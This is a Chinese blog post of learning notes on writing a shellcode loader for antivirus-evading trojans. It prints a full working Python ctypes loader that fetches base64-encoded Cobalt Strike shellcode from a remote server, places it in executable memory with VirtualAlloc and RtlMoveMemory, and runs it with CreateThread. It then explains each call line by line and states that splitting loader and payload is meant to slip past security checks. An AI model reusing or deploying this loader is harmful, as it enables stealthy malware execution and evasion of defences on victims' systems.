shellcode编写
前几天朋友跟我分享说,免杀马确实应该学一学,这几天请教了一位老师傅,了解了学习路线。大致思路就是
先让我学习shellcode,然后会教我写一个马,然后把它抓换成shellcode ,然后写个shellcode加载器
先从shellcode的编写开始学习,
百度shellcode的定义:shellcode是一种利用软件漏洞而执行的代码,shellcode16进制的机器码,因为经常让攻击者获得shell而得名。shellcode经常使用机器语言编写。可在暂存器溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
第一天学习 看到的 好文章: 主要:
https://www.bilibili.com/video/BV1y4411k7ch?p=11&spm_id_from=pageDriver
其次:
https://www.bilibili.com/video/BV1nb411p7Kq?from=search&seid=4136211696215835218 https://blog.csdn.net/maotoula/article/details/18502679 https://blog.csdn.net/leng_que/article/details/4668805?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control&dist_request_id=1328602.25187.16149996836606083&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control http://blog.chinaunix.net/uid-26275986-id-5035598.html http://www.dengb.com/wzaq/1002165.html https://blog.csdn.net/x_nirvana/article/details/68921334 http://blog.nsfocus.net/easy-implement-shellcode-xiangjie/
第二天学习shellcode
比较不错的文章
https://mp.weixin.qq.com/s/-WcEW1aznO2IuCezkCe9HQ 这篇文章讲shellcode的原理讲的非常好,,下面的文章就是基于这篇文章的
shellcode 和 shellcode Loder
文章里面有个很生动形象的比喻,
shellcode比作子弹的话,loader就是把枪,两者缺一不可
shellcode是一段用于利用软件漏洞而执行的代码 shellcode loader是用来运行此代码的加载器
枪和子弹在一起才有威胁性肯定不让过安检啊 当只有loader这边枪时,没子弹构不成威胁,所以可能会绕过免杀 当只有shellcode时,只有子弹没有枪,也可能会绕过免杀
所以说这种免杀方式必须有两个内容,一个是 shellcode 另一个就是 shellcode 加载器,真正实现免杀的大致流程就是 将shellcode loder 上传到 主机,shellcode loder 在从服务器上下载 shellcode 运行
下面咱们先用python语言实现一下,昨天看了C++语言的,稍微有些复杂, 这里就看一看 python语言的,还算比较简单,其实也没什么区别
shellcode
我们在用cs生成payload时,会生成一段特定编程语言的代码(以python为例)

里面一长串\xfc样式的16进制代码,这就是子弹(shellcode) , 但光有子弹不行,所以我们需要一把枪loader才能让他发挥作用。
shellcode loder
这里找了一个网上的python内存加载器 环境:python2.7
本文主要写的也是关于该加载器的实现原理,和调用参数的分析
import ctypes //python的ctypes模块是内建,用来调用系统动态链接库函数的模块,可以向其传递参数。
import requests
import base64
scode = requests.get("http://192.168.1.1/123.txt") //shellcode loder 从服务器下载 shellcode
shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 //申请内存,转换返回值类型
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
读取shellcode
我是将shellcode生成后,使用base64编码,放在了服务器123.txt文件上
由于后面操作是将代码写入内存,所以需要将 代码 解码并转为字节类型
1 scode = requests.get("http://192.168.1.1/123.txt") 2 shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))
设置返回类型
我们需要用VirtualAlloc函数来申请内存,返回类型必须和系统位数相同
想在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是 32 位
1 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
申请内存
调用VirtualAlloc函数,来申请一块动态内存区域。
对于这个函数的详细解释 : https://baike.baidu.com/item/VirtualAlloc/1606859?fr=aladdin
VirtualAlloc函数原型和参数如下:
LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize, #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect #该内存的初始保护属性
};
申请一块内存;可读;可写;可执行
1 ptr = ctypes.windll.kernel32.VirtualAlloc( 2 ctypes.c_int(0), 3 ctypes.c_int(len(shellcode)), 4 ctypes.c_int(0x3000), 5 ctypes.c_int(0x40) 6 )
| ctypes.c_int(0) | 是NULL,系统将会决定分配内存区域的位置,并且按64KB向上取整 |
| ctypes.c_int(len(shellcode)) | 以字节为单位分配或者保留多大区域 |
| ctypes.c_int(0x3000) | 是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000)类型的合并 |
| ctypes.c_int(0x40) | 是权限为PAGE_EXECUTE_READWRITE 该区域可以执行代码,应用程序可以读写该区域。 |
将shellcode载入到内存中
调用RtlMoveMemory函数,此函数从指定内存中复制内容至另一内存里。
RtlMoveMemory函数原型和参数如下:
1 RtlMoveMemory(Destination,Source,Length); 2 Destination :指向移动目的地址的指针。 3 Source :指向要复制的内存地址的指针。 4 Length :指定要复制的字节数。
从指定内存地址将内容复制到我们申请的内存中去,shellcode字节多大就复制多大
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode))
)
创建进程
调用CreateThread将在主线程的基础上创建一个新线程
CreateThread函数原型和参数如下:
1 HANDLE CreateThread( 2 LPSECURITY_ATTRIBUTES lpThreadAttributes, #线程安全属性 3 SIZE_T dwStackSize, #置初始栈的大小,以字节为单位 4 LPTHREAD_START_ROUTINE lpStartAddress, #指向线程函数的指针 5 LPVOID lpParameter, #向线程函数传递的参数 6 DWORD dwCreationFlags, #线程创建属性 7 LPDWORD lpThreadId #保存新线程的id 8 )
创建一个线程从shellcode放置位置开始执行
1 handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 2 ctypes.c_int(0), 3 ctypes.c_uint64(ptr), 4 ctypes.c_int(0), 5 ctypes.c_int(0), 6 ctypes.pointer(ctypes.c_int(0)))
| lpThreadAttributes | 为NULL使用默认安全性 |
| dwStackSize | 为0,默认将使用与调用该函数的线程相同的栈空间大小 |
| lpStartAddress | 为ctypes.c_uint64(ptr),定位到申请的内存所在的位置 |
| lpParameter | 不需传递参数时为NULL |
| dwCreationFlags | 属性为0,表示创建后立即激活 |
| lpThreadId | 为ctypes.pointer(ctypes.c_int(0))不想返回线程ID,设置值为NULL |
具体参考百度百科:https://baike.baidu.com/item/CreateThread/8222652?fr=aladdin
等待线程结束
调用WaitForSingleObject函数用来检测线程的状态
WaitForSingleObject函数原型和参数如下:
1 DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle, #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds #定时时间间隔
);
等待创建的线程运行结束
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(handle),
ctypes.c_int(-1)
)
这里两个参数,一个是创建的线程,一个是等待时间
当线程退出时会给出一个信号,函数收到后会结束程序。当时间设置为0或超过等待时间,程序也会结束,所以线程也会跟着结束。
正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束。
具体参考百度百科:https://baike.baidu.com/item/WaitForSingleObject/3534838?fr=aladdin
总结
上面loader大致原理就是申请一块内存,将代码字节存入该内存,然后开始运行该内存储存的程序,并让该程序一直运行下去。

浙公网安备 33010602011771号